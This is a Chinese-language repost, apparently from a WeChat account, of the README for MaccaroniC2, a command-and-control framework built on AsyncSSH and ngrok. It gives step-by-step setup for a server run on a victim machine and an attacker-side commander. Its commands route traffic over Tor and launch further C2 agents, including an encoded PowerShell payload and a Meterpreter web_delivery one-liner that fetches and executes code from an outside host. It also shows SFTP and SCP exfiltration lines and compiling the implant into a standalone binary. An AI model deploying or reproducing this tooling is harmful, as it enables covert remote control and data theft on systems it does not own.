MaccaroniC2是一个概念验证 命令和控制框架,它利用强大的AsyncSSH
Python 库,提供 SSHv2 协议的异步客户端和服务器实现,并使用PyNgrok
包装器进行ngrok
集成。该工具的灵感来自于特定场景,其中受害者运行 AsyncSSH 服务器并建立到外部的隧道,准备接收攻击者的命令。
攻击者利用Ngrok official API
检索隧道的主机名和端口来建立连接。此方法利用AsyncSSH提供的全面功能,包括其对SFTP
和的集成支持SCP
,促进安全高效的数据泄露等。
此外,攻击者可以使用 SOCKS 代理发送和执行系统命令,利用所提供的好处,例如,用于TOR
增强匿名性。
-
Ngrok 免费帐户一次只允许使用一个隧道。经过一些更改,该工具可能非常适合类似 BOT 的 C&C 框架来控制多个 SSH 实例,但您需要在 Ngrok 网站上升级您的计划,请参阅https://ngrok.com/pricing
设置和程序
-
运行
python3 gen_rsa.py
以生成一对 SSH 密钥。id_rsa
攻击者使用新生成的文件连接到受害者计算机上运行的服务器。 -
编辑
asyncssh_server.py
文件并将新生成的内容放置在变量id_rsa.pub
中pub_key
。它们asyncssh_server.py
提供了具有 SFTP 和 SCP 功能的 SSHv2 协议的实现。这是受害者运行的脚本。 -
在 Ngrok 网站上创建一个免费帐户并记下令牌
AUTH
。 -
将
AUTH
标记添加到token
中的变量中asyncssh_server.py
,这需要在ngrok_tunnel()
函数内部进行编码。 -
API
在 Ngrok 网站上创建免费密钥。记下生成的字符串。 -
将
API
密钥字符串放入文件api_key
内的变量中async_commander.py
。这使我们能够在自动化过程中自动检索活动隧道的 Ngrok 域和端口。 -
对文件执行相同的步骤
get_endpoints.py
。该脚本检索有关活动隧道的各种有用信息。
发送命令到服务器
您可以向async_commander.py
服务器发送任何命令。它会使用 Ngrok 官方 API自动请求受害者激活的 Ngrok 隧道的域和端口。
另请注意,需要id_rsa
位于同一文件夹中async_commander.py
基本用法
在受害机器上运行服务器:
python3 asyncssh_server.py
从攻击者机器使用socks代理发送命令:
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
不使用代理发送命令:
python3 asyncssh_commander.py "whoami"
生成另一个 C2 代理(Powershell-Empire、Meterpreter 等):
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
Meterpreter web_delivery 模块
python3 asyncssh_commander.py "python3 -c "import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());""
获取活动隧道列表:
python3 get_endpoints.py
生成新的 RSA 密钥对:
python3 gen_rsa.py
高级用法
使用SFTP
and SCP
- 您不需要有效的用户名,只需正确的用户名id_rsa
-
使用代理:
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
-
无代理:
sftp -P PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
使用 Nuitka 编译
python -m pip install nuitka
python -m nuitka --standalone --onefile asyncssh_server.py
项目地址:
https://github.com/CalfCrusher/MaccaroniC2
武器化服务器
https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py
免责声明:该工具仅用于测试和教育目的。它只能在具有适当授权的系统上使用。严禁任何未经授权或非法使用此工具的行为。该工具的创建者对其使用造成的任何误用或损坏不承担任何责任。使用此工具时请确保遵守适用的法律和法规。
原文始发于微信公众号(TtTeam):MaccaroniC2 - 使用 AsyncSSH 增强命令和控制能力
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论